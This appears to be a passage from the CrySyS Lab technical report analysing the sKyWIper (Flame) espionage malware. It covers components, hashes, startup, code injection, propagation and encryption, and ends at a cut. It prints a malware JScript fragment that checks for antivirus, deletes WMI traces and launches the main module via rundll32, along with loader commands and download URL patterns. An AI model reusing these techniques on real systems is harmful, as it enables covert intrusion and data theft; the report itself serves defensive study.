Hence, the suspicion became evidence, and this made it clear for us that our findings must be disclosed by publishing this report. It is obvious from the list of its files that sKyWIper must be identical to the malware described in the post http://www.certcc.ir/index.php?name=news&file=article&sid=1894 (from Iran National CERT (MAHER)) where it is called Flamer. For convenience, we keep our naming of the malware and call it sKyWIper based on one of the filenames (~KWI) it uses for temporary files. sKyWIper s constitution is quite complex with a large number of components and the substantial size of some of its files. Therefore, providing its full analysis in a limited amount of time was infeasible with our current resources. Our goal was to get a quick understanding of the malware s purpose, and to identify its main modules, storage formats, encryption algorithms, injection mechanisms and activity in general. This report contains the results of our analysis, which should help other researchers with more resources to get started and continue the analysis producing more detailed results. Our first insight suggests that sKyWIper is another info-stealer malware with a modular structure incorporating multiple propagation and attack techniques, but further analysis may discover components with other functionalities. In addition, sKyWIper may have been active for as long as five to eight years, or even more. sKyWIper uses compression and encryption techniques to encode its files. More specifically, it uses 5 different encryption methods (and some variants), 3 different compression techniques, and at least 5 different file formats (and some proprietary formats too). It also uses special code injection techniques. Quite interestingly, sKyWIper stores information that it gathers on infected systems in a highly Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu structured format in SQLite databases. Another uncommon feature of sKyWIper is the usage of the Lua scripting language. sKyWIper has very advanced functionality to steal information and to propagate. Multiple exploits and propagation methods can be freely configured by the attackers. Information gathering from a large network of infected computers was never crafted as carefully as in sKyWIper. The malware is most likely capable to use all of the computers functionalities for its goals. It covers all major possibilities to gather intelligence, including keyboard, screen, microphone, storage devices, network, wifi, Bluetooth, USB and system processes. The results of our technical analysis support the hypotheses that sKyWIper was developed by a government agency of a nation state with significant budget and effort, and it may be related to cyber warfare activities. sKyWIper is certainly the most sophisticated malware we encountered during our practice; arguably, it is the most complex malware ever found. MAJOR UPDATES: 05/30/2012 Kaspersky published much more details about modules Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Table of contents Introduction .............................................................................................................................................5 1.1. Investigation............................................................................................................................................................ 5 1.2. History and build dates ...................................................................................................................................... 5 1.3. Build dates................................................................................................................................................................ 6 1.4. Comparison to Duqu (Stuxnet) at a glance............................................................................................... 7 Main components ...................................................................................................................................9 2.1. Modules...................................................................................................................................................................... 9 2.2. File listing and hashes.......................................................................................................................................11 Activation and propagation ............................................................................................................. 13 3.1. Startup sequence.................................................................................................................................................13 3.2. Bootup experiments to gather timing information.............................................................................15 3.3. Injections.................................................................................................................................................................17 3.4. Hooks ........................................................................................................................................................................20 3.5. Mutexes....................................................................................................................................................................21 3.6. nteps32 exports....................................................................................................................................................21 3.7. Installation and propagation method.......................................................................................................22 Description of components.............................................................................................................. 24 4.1. Encryption algorithms......................................................................................................................................24 4.2. Registry parts........................................................................................................................................................32 4.3. Compression and table formats....................................................................................................................34 4.4. Data storage formats ........................................................................................................................................36 4.5. Logging file list.....................................................................................................................................................38 4.6. Saving additional information......................................................................................................................39 C&C communication ........................................................................................................................... 41 Attack details dictionary and scripts ........................................................................................ 44 6.1. Some interesting Lua scripts inside the code .........................................................................................48 6.2. Related files............................................................................................................................................................51 6.3. SQLite table structure of CLAN DB..............................................................................................................52 Evasion techniques ............................................................................................................................. 56 7.1. Security programs relation ............................................................................................................................56 7.2. Design choices and tricks ................................................................................................................................56 7.3. Malware s own files list ....................................................................................................................................57 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 1. Introduction Our team at CrySyS Lab, Budapest was alerted in May 2012 of a targeted attack found in the wild. Below we summarize the investigation history and the current status of the forensic analysis. 1.1. Investigation We have carried out an investigation in collaboration with several parties involved in incident response since we were alerted of the malware sKyWIper. Some of these parties involved may want to remain anonymous; therefore, references in the document are deliberately incorrect to avoid identification of the source of some information, data, sample, code, prototype, etc. sKyWIper is too complex to be fully analyzed with our limited resources and time. Therefore, our investigations focused on the big picture , trying to get a first insight into the capabilities, behavior, encryption, data storage, propagation and communications of the malware. Much more work is needed to fully understand the details of the operation of the malware; however, as much debug/symbol information remains in the code, a detailed analysis seems to be feasible with additional resources and time. 1.2. History and build dates sKyWIper has most probably been operated undetected for years. It has been potentially operational for 5 years or more according to malware intelligence reports. The main component, msgsecmgr.ocx a.k.a. wavesup3.drv refers to many versions of a dynamic link library. This component has been previously observed (without raising an alarm) as follows: Country of origin The filename WAVESUP3.DRV was first seen on Dec 5 2007 in Europe by the Webroot community. Since, it has been observed in the following geographical regions: Europe on Dec 5 2007 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu The United Arab Emirates on Apr 28 2008 Islamic Republic of Iran on Mar 1 2010 File sizes The following file sizes have been seen: 1,153,536 bytes 991,232 bytes 975,872 bytes 1.3. Build dates The build date PE header information of the malware uses fake date information for its files; hence we cannot precisely identify the target system s infection time. Nonetheless, the SQLite related part of mssecmgr.ocx contains some build time info (more about the components later): Unidentified build, Aug 31 2011 23:15:32 23:15:32 31...........Aug 31 2011 The following string shows SQLite version information, found in the memory dumps: 2010-01-05 15:30:36 28d0d7710761114a44a1a3a425a6883c661f06e7 NULL It relates to SQLITE_VERSION "3.6.22" (part of the source code) Also, there is a reference 1.2.3 , and we think that this refers to zlib version number possibly used in SQLite tables. Some tables of the malware contain timestamps, possibly some of these do not relate to actual running times, but instead some dates when the attackers developed or constructed attack flows. An example is audcache.dat that contains timestamps like the ones below. We are not sure about the timestamps function and about the table structure. There are other binary strings that might be timestamps, but their values vary too much to be accurate. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 5409 5409 5409 5409 ec02 ec02 ec02 ec02 ec02 ec02 ec02 ec02 ec02 ec02 ec02 ec02 ec02 ec02 ec02 ec02 Tue Oct 11 23:35:34 2011 Tue Oct 11 23:35:37 2011 Tue Oct 11 23:35:37 2011 Tue Oct 11 23:35:37 2011 Tue Oct 11 23:59:59 2011 Tue Oct 11 23:59:59 2011 Tue Oct 11 23:59:59 2011 Tue Oct 11 23:59:59 2011 Wed Oct 12 00:00:03 2011 Wed Oct 12 10:52:33 2011 Wed Oct 12 10:52:33 2011 Wed Oct 12 10:53:04 2011 Wed Oct 12 11:09:32 2011 Wed Oct 12 11:09:32 2011 Wed Oct 12 11:21:17 2011 Wed Oct 12 11:21:17 2011 Wed Oct 12 11:21:17 2011 Wed Oct 12 11:21:17 2011 Wed Oct 12 11:22:04 2011 Wed Oct 12 11:22:04 2011 Figure 1 Timestamps found in audcache.dat 1.4. Comparison to Duqu (Stuxnet) at a glance As our team played a significant role in the discovery and analysis of Duqu, another recently discovered info-stealer malware used in targeted attacks, we briefly compare sKyWIper to Duqu (and Stuxnet) in Table 1. Note that this is a high-level, simplified comparison. As it can be seen from the comparison, sKyWIper and Duqu (Stuxnet) have many differences, and it seems plausible that sKyWIper was not made by the same developer team as that of Duqu/Stuxnet/~D. However, we cannot exclude the possibility that the attackers hired multiple independent development teams for the same purpose, and sKyWIper and Duqu are two independent implementations developed for the same requirement specifications. This may be an approach to increase the robustness of an operation, which can persist even if one of the two (or more?) implementations is uncovered. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Feature Duqu, Stuxnet, ~D Modular malware Kernel driver based rootkit Valid digital signature on driver Injection based on A/V list Imports based on checksum 3 Config files, all encrypted, etc. Keylogger module PLC functionality Infection through local shares Exploits 0-day exploits DLL injection to system processes DLL with modules as resources RPC communication RPC control in LAN RPC Based C&C Port 80/443, TLS based C&C Special magic keys, e.g. 790522, AE Virtual file based access to modules Usage of LZO lib Visual C++ payload UPX compressed payload, Careful error handling Deactivation timer Initial Delay Configurable starting in safe mode/dbg Realtek, JMicron, C-media (Duqu) (Stuxnet) (Stuxnet) Mod. LZO ? Some sKyWIper fltmgr usage Not found Different Not seen Totally diferrent Not found (yet) Very likely Some from Stuxnet! Not yet found (but different) SSL+SSH found Only 0xAE is similar Not seen No LZO: Zlib, PPMd, bzip2 some Self-kill logic inside Different from Duqu Not like Stuxnet Table 1 Comparing sKyWIper to Duqu and Stuxnet at a first glance Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 2. Main components 2.1. Modules We present an overview of the modules encountered during the analysis of sKyWIper. Figure 2 shows some files related to the malware, grouped by type, with some labels indicating our current knowledge about how some of these files are created and encoded (encrypted or compressed). Figure 2 Files related to the malware Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu The malware contains the following modules: Related OCX files: mssecmgr.ocx (6 M) -- resource 146 (2.5 M) advnetcfg.ocx (0.6 M) msglu32.ocx (1.6 M) nteps32.ocx (0.8 M) soapr32.ocx (0.2 M) Main module Compressed file with some zlib-like compression Injected part, possibly info stealer (screen shots and alike) Created by main module Created by main module Can be found in resource 146, possibly network based propagation module The main module of the malware is mssegmgr.ocx, which is 6 MByte long. It is loaded at startup, and later copied to wavesup3.drv. The main module also creates other OCX modules as shown in the above list. Related files in the Windows/Temp folder: To691.tmp (1.5 M) Initial settings data file Related files in the Windows/System32 folder: ccalc32.sys boot32drv.sys (~1 K) Configuration settings table, fully encrypted. It is generated by the malware installer process, and stored in uncompressed Resource 146 of mssecmgr.sys at position 0x00001E7118. It is encrypted by RC4 (128). Desktop window related data, encrypted by XOR with 0xFF Temporary files created by the malware: ~DEB93D.tmp ~HLV084.tmp ~HLV294.tmp ~KWI<> Encrypted file containing SQLite database of nmb lookups. Written by services.exe. Compressed parts contain info on running processes. Written by winlogon.exe. Purpose unknown. This and 4-5 similar files often appear on infected systems. Compressed parts contain info on running processes. Written by winlogon.exe. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu ~rf.tmp Contains full file listing of the infected computer in SQLite 3 database format. Encrypted with algorithm E1 (see encryption algorithms later). Related DAT files: dstrlog.dat lmcache.dat mscrypt.dat ntcache.dat rccache.dat ssitable CLAN DB for storing attack and propagation methods. Information on target computer. Code, data, and configuration on attacks, e.g. JIMMY, MUNCH. Information on target computer. DAT files created from dllrun32 startup (with file size and time of creation): audcache audfilter.dat dstrlog.dat lmcache.dat ntcache.dat wpgfilter.dat Possibly pre-created attack database (1572896 May XX 10:32) (0 May XX 10:32) CLAN DB of attacks (86016 May XX 10:32) Information on target computer (SFS) (460800 May XX 10:32) Information on target computer (SFS) (4454400 May XX 10:32) (6163261 May XX 10:32) 2.2. File listing and hashes Here, we provide the hashes for the main components of sKyWIper. Later in Section 7.3, we provide a full list of suspected filenames used by the malware (whitelisted). bb5441af1e1741fca600e9c433cb1550 *advnetcfg.ocx d53b39fb50841ff163f6e9cfd8b52c2e *msglu32.ocx bdc9e04388bda8527b398a8c34667e18 *mssecmgr.ocx c9e00c9d94d1a790d5923b050b0bd741 *nteps32.ocx 296e04abb00ea5f18ba021c34e486746 *soapr32.ocx 5ad73d2e4e33bb84155ee4b35fbefc2b *ccalc32.sys dcf8dab7e0fc7a3eaf6368e05b3505c5 *mscrypt.dat 06a84ad28bbc9365eb9e08c697555154 *00004069.ex_ ec992e35e794947a17804451f2a8857e *00004784.dl_ 296e04abb00ea5f18ba021c34e486746 *00005729.dl_ b604c68cd46f8839979da49bb2818c36 *00006411.dl_ Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu c81d037b723adc43e3ee17b1eee9d6cc *boot32drv.sys (not constant but possible match) Figure 3 MD5 hashes of the malware s components 60d5dbddae21ecb4cfb601a2586dae776ca973ef *advnetcfg.ocx 3a9ac7cd49e10a922abce365f88a6f894f7f1e9e *msglu32.ocx a592d49ff32fe130591ecfde006ffa4fb34140d5 *mssecmgr.ocx 7105b17d07fd5b30d5386862a3b9cc1ff53a2398 *nteps32.ocx 5fdd7f613db43a5b0dbec8583d30ea7064983106 *soapr32.ocx faaef4933e5f738e2abaff3089d36801dd871e89 *ccalc32.sys 8b591dd7cd44d8abae7024ca2cc26034457dd50e *mscrypt.dat 25fc20eedd7bfca26cf5fad1fade13b05c9a2d20 *00004069.ex_ e608a6d9f0ab379e62119656e30eef12542f2263 *00004784.dl_ 5fdd7f613db43a5b0dbec8583d30ea7064983106 *00005729.dl_ 7a1351c084a556bdceaf221a43cb69579ca7b9bb *00006411.dl_ d4b21620d68fdc44caa20362a417b251ff833761 *boot32drv.sys Figure 4 SHA-1 hashes of the malware s components Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 3. Activation and propagation 3.1. Startup sequence The malware can be started using two different methods: 1. Set msgsecmgr.ocx in the registry (see below at registry parts) 2. Run the malware from rundll32 using the command as follows: start /wait rundll32.exe c:\windows\system32\mssecmgr.ocx,DDEnumCallback At startup, mssecmgr.ocx is loaded as LSA Authentication Package. About 2 minutes later advnetcfg.ocx is loaded by services.exe. It is repeated every 2 to 3 minutes 3 times in total. About 2 minutes later services.exe loads nteps32.ocx from mssecmgr.ocx, and then winlogon.exe also loads nteps32.ocx. This file is loaded several times. In the meantime, explorer.exe starts 5 iexplore processes that subsequently create wpgfilter.dat. Again 2 minutes later ccalc32.sys is written by services.exe, and in 1 minute winlogon.exe loads it. Next, mssecmgr.ocx is copied to wavsup3.drv. Then, boot32drv.sys is loaded by services.exe. This sequence of events is illustrated in Figure 5 below, while Figure 6 shows another representation with exact timestamps. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 5 Startup sequence Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Nteps32 loading 23:36:37 services System (cache) ccalc32 written 23:38:37 load 23:39:37 winlogon Boot32cfg w:23:38:35 Advnetcfg 23:36:17 23:38:32 23:39:17 rundll32 mssecmgr loading 23:34:35 explorer wpgfilter loading 23:37:02 iexplore loading 23:36:21 3240 (parent 1644) 23:36:41 3520 (parent 1644) 23:37:00.08 3632 (parent 1644) 23:37:19 3752 23:37:40 3876 23:37:59 3968 Figure 6 Startup procedure with timestamps 3.2. Bootup experiments to gather timing information We performed some experiment to determine the order of module loadings and activities. Trial 1 ccalc32.sys has a last change and last access time at the first start - difference ~50 seconds. In normal LSA startup without mscrypt installed, ccalc was not created (no real CC traffic either). Question: Is ccalc32 created by mssecmgr+advnet+?? during startup if ran from rundll? Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Trial 2 Nteps, soapr, to691 are removed to test if these files are needed for the malware to start. Windows update traffic starts after 1:40 min of starting rundll for startup. At iexplore exit ccalc32.sys immediately appeared. ~HLV files appear about 1:20 min after the appearance of ccalc32.sys. The exact timestamp was 23:45:00 (local time), the sharp seconds value (:00) seems suspicious. Results: nteps, soapr, to691 are not needed for startup Trial 4 Starting with Rundll32 at 23:49:20 23:51:06 windowsupdate traffic begins 23:52:48 iexplore quits, about 3 seconds later ccalc appears 23:54:25 ~HVL files found in windows/temp msglu32.ocx exists, creation time is 2004, change time is current local time Trial 5 Removing nteps, soapr, to691, msglu to be sure that msglu is indeed created during startup. Results: Malware is still running, msglu32 is created just at the same time as ~HLV files begin to be created. Order of events: 1. iexplore + windowsupdate traffic 2. traffic stops, ccalc32 created, some 1:20 min delay 3. ~HLV files begin to appear and msglu is deployed Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 3.3. Injections There are multiple injections of code during startup. Only advnetcfg32 is probably injected 3 times. We have no detailed information why code is injected into multiple processes (including winlogon.exe, services.exe, explorer.exe). fltmgr.sys fltmgr.sys fltmgr.sys ntkrnlpa.exe ntkrnlpa.exe ntkrnlpa.exe ntkrnlpa.exe ntkrnlpa.exe fltmgr.sys + 0x1888 0xf83f0888 fltmgr.sys + 0x31a7 0xf83f21a7 fltmgr.sys + 0xfc7a 0xf83fec7a ntkrnlpa.exe + 0xac124 0x80583124 ntkrnlpa.exe + 0xe8488 0x805bf488 ntkrnlpa.exe + 0xe4a14 0x805bba14 ntkrnlpa.exe + 0x9ffeb 0x80576feb ntkrnlpa.exe + 0x6a67c 0x8054167c 0x1f2a333 0x1f2a333 0x1f1ed9c 0x1f1ed9c 0x1f1128b 0x1f1128b 0x1f1c900 0x1f1c900 C:\WINDOWS\System32\Drivers\fltmgr.sys C:\WINDOWS\System32\Drivers\fltmgr.sys C:\WINDOWS\System32\Drivers\fltmgr.sys C:\WINDOWS\system32\ntkrnlpa.exe C:\WINDOWS\system32\ntkrnlpa.exe C:\WINDOWS\system32\ntkrnlpa.exe C:\WINDOWS\system32\ntkrnlpa.exe C:\WINDOWS\system32\ntkrnlpa.exe Figure 7 Winlogon.exe with injected code working with ccalc32.sys procmon In case of Duqu, the authors used ZwCreateSection() and ZwMapViewOfSection() to copy code into running processes, while other methods use LoadLibrary() and LoadLibraryEx() to load a library into a code. These techniques can easily be detected as the inserted DLLs appear in the PEB s InLoadOrderModuleList. In case of sKyWIper, the code injection mechanism is stealthier such that the presence of the code injection cannot be determined by conventional methods such as listing the modules of the corresponding system processes (winlogon, services, explorer). The only trace we found at the first sight is that certain memory regions are mapped with the suspicious READ, WRITE and EXECUTE protection flags, and they can only be grasped via the Virtual Address Descriptor (VAD) kernel data structure. As these regions must have been allocated dynamically by means of VirtualAllocEx() or WriteProcessMemory(), they have the type of Vad Short. Thus, the combination of RWE flags and type VadS for a given memory region in a system process allowed us to identify the code injection. Figure 8 shows the malicious code injections we found with Volatility. Process: winlogon.exe Pid: 676 Address: 0xab0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00ab0000 0x00ab0000 0x00ab0000 0x00ab0000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....J.o....<.Qr. ...V............ ................ ................ Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Process: winlogon.exe Pid: 676 Address: 0xac0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00ac0000 0x00ac0000 0x00ac0000 0x00ac0000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....J.o....<.Qr. ...V............ ................ ................ Process: winlogon.exe Pid: 676 Address: 0xb10000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00b10000 0x00b10000 0x00b10000 0x00b10000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....J.o....<.Qr. ...V............ ................ ................ Process: winlogon.exe Pid: 676 Address: 0xb20000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00b20000 0x00b20000 0x00b20000 0x00b20000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....J.o....<.Qr. ...V............ ................ ................ Process: winlogon.exe Pid: 676 Address: 0x10f0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x010f0000 0x010f0000 0x010f0000 0x010f0000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....J.o....<.Qr. ...V............ ................ ................ Process: winlogon.exe Pid: 676 Address: 0x1220000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01220000 0x01220000 0x01220000 0x01220000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....J.o....<.Qr. ...V............ ................ ................ Process: winlogon.exe Pid: 676 Address: 0x1490000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01490000 0x01490000 0x01490000 0x01490000 ba ba 0d f0 00 00 48 01 30 25 80 7c b7 24 80 7c b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48 49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70 ......H.0%.|.$.| ...|U..QSVW3..}. .....X.E..E.jdYH I.E.t[.8....u..p Process: winlogon.exe Pid: 676 Address: 0x3c8a0000 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 4, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x3c8a0000 0x3c8a0000 0x3c8a0000 0x3c8a0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 27 00 27 00 01 00 00 00 00 00 00 00 ................ ................ ................ ....'.'......... Process: services.exe Pid: 720 Address: 0x950000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00950000 0x00950000 0x00950000 0x00950000 ba ba 0d f0 00 00 94 00 30 25 80 7c b7 24 80 7c b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48 49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70 ........0%.|.$.| ...|U..QSVW3..}. .....X.E..E.jdYH I.E.t[.8....u..p Process: explorer.exe Pid: 1616 Address: 0x1400000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01400000 0x01400000 0x01400000 0x01400000 ba ba 0d f0 00 00 e8 00 30 25 80 7c b7 24 80 7c b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48 49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70 ........0%.|.$.| ...|U..QSVW3..}. .....X.E..E.jdYH I.E.t[.8....u..p Process: explorer.exe Pid: 1616 Address: 0x1b50000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01b50000 0x01b50000 0x01b50000 0x01b50000 67 32 cd ba 2e 00 4d 00 53 00 42 00 54 00 53 00 00 00 43 02 50 03 f8 01 4b 6c 43 02 04 00 01 00 03 00 00 00 90 fa fc 00 2c fb fc 00 00 00 da 00 00 e9 90 7c 40 00 91 7c ff ff ff ff 3d 00 91 7c g2....M.S.B.T.S. ..C.P...KlC..... ........,....... ...|@..|....=..| Process: explorer.exe Pid: 1616 Address: 0x4540000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x04540000 0x04540000 0x04540000 0x04540000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 10 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 20 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 ................ ..T............. ..T............. ..T............. Figure 8 The presence of code injection and hooks (Volatility) By examining the injected regions in more details, we found that the inserted code belongs to shell32.dll. This can be verified by means of vmmap as shown in Figure 9. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 9 The presence of code injection (vmmap) 3.4. Hooks By checking an infected machine with the GMER rootkit revealer, we can see that the infected explorer.exe hooked the SHGetSpecialFolderPathW() library call in the shell32.dll module (that is supposedly the result of a code injection). Figure 10 Hooking shell32 dll s SHGetSpecialFolderPathW function in explorer.exe Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 3.5. Mutexes Similarly to other malicious codes, sKyWIper uses mutexes to make sure that only one instance is running from it. Mutexes are created either for injected system processes (winlogon.exe, services.exe, explorer.exe) and proprietary files. In the former case, the following naming convention is used: TH_POOL_SHD_PQOISNG_#PID#SYNCMTX, where the #PID# variable refers to the PID of the system process the mutex belongs to. Furthermore, there are other mutexes that belongs to files created by the malcode. These are the following. c__program_files_common_files_microsoft shared_msaudio_wpgfilter.dat c__program files_common files_microsoft shared_msaudio_audcache To reveal all the mutexes one can traverse Windows _KMUTANT data structure, however, it is difficult to grasp the malicious ones. 3.6. nteps32 exports Figure 11 nteps32 [loaded many times] exported functions lot of functionality Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu It would be useful to describe here the exact meaning of the abbreviated functionality (SHR, ABH, BHD, DLV, SMLData, VBinfo, OFR, PF, PGHDict) of this interesting library, however, currently we do not have enough information on it. CreatePGHDict might be associated with some Bluetooth related activities. EnableSHR might be connected to ~DEB93D creation which contains samba nmb name resolution traffic log. 3.7. Installation and propagation method There are multiple ways for the malware to propagate. One method we are aware of is related to windows update and file downloading by some modules using SSL and some proprietary text based protocol. We also have clear indications that Stuxnet s print spooler exploit (MS10-061) and lnk exploit (MS10-046) is used within sKyWIper as well: var objFileSystem = new ActiveXObject("Scripting.FileSystemObject");var s = GetObject("winmgmts:root\\cimv2");var oProcs = s.ExecQuery("SELECT * FROM Win32_Process WHERE name='outpost.exe' or name='aupdrun.exe' or name='op_mon.exe' name='avp.exe'");s.Delete("__EventFilter.Name='FilterForClassCreation'");s.Delete(" ActiveScriptEventConsumer.Name='ActiveScriptForSvc'");s.Delete("MyTestClass");s.Del ete("__Win32Provider.Name='ActiveScriptEventConsumer'");var f = objFileSystem.GetFile("wbem\\mof\\good\\svchostevt.mof");f.Delete(true); f =objFileSystem.GetFile("testpage");f.Delete(true);if (!oProcs.Count) { s1 = new ActiveXObject("Wscript.Shell");s1.Run("%SYSTEMROOT%\\system32\\rundll32.exe msdclr64.ocx,DDEnumCallback");while (true) { var oProcs = s.ExecQuery("SELECT * FROM Win32_Process WHERE name='rundll32.exe'"); if (!oProcs.Count) break; } var f = objFileSystem.GetFile("msdclr64.ocx");f.Delete(true);} else { var f = objFileSystem.GetFile("msdclr64.ocx"); f.Delete(true);} where msdclr64.ocx refers to the main module Figure 12 Printer problem related routines in the malware URL: http:///view.php?mp=1&jz=1627XXXXXX&fd=1463XXXXXX& am=55XXXXXXX55X&ef=962DXXX7EC84XXXXEC84&pr=1&ec=0&ov=66664XXXXX6641XXXXX64174&pl=gs pndXXXXXX|spnZXXX|nyXXX|0nXXX|TWvXXXX|nGcXXX some 30-50 tags more XXX are deliberately deleted Figure 13 URL used to download mssecmgr.sys by some installation part Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 13 shows the URL used to download the main module by some routine in the installation part of the malware. The routine downloads the file mssecmgr.ocx and some header: B5 A0 44 3F 67 EA EA EA E5 B2 EA EA. Trying to decrypt the header with algorithm E1 (see encryption algorithms later in this report) and considering 0xEA => 0x00, the result is : 0000000000: 20 E1 D7 50 0A 00 00 00 C8 0F 00 00 Further information shows that this is related to the windows update mechanism and the MUNCH attack (see later). Numbers are partially removed or overwritten with X for privacy. ("http:///view.php?ac=1&jz=16X71X...",""); CreateSection("$windir\softwaredistribution\selfupdate\default\wuauinfo.ocx"); CreateSection("$windir\softwaredistribution\selfupdate\default\wuauinfo.ocx");' Another sample (numbers are removed or modified) is the following: connect(10.55.55.55,80,6); UrlDetect("http://download.windowsupdate.com/v9/windowsupdate/redir/muv4wuredir.cab ?1",""); The user agent during this communications is set to Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.2150) . This cannot be found by a google search; hence, it is possibly used by the malware for identification purposes. For the same reason, it can possibly be used as a NIDS signature. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 4. Description of components Now we present our initial analysis of the files used in sKyWIper. Note that given the lack of resources and time, our findings are preliminary. The main goal is to highlight the structure of the malware modules and the techniques used by the authors (e.g., for encryption); and to pave the way for a thorough investigation. 4.1. Encryption algorithms At the time of this writing, we identified five encryption algorithms used in the malware, we refer to them as E1-E5. E1 is used in DAT files. For E1, we managed to produce a full substitution table as presented in Figure 14 below. We could identify the encryption algorithms E2-E5 shown in subsequent figures, but we do not have a full understanding of where they are used in sKyWIper and if they are related to known encryption methods. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 14 Encryption E1 Substitution table. Left is cleartext, right is ciphertext. Used for DAT files. 4091.dll: unsigned int __cdecl encryptor_sub_4025C0(int a1) 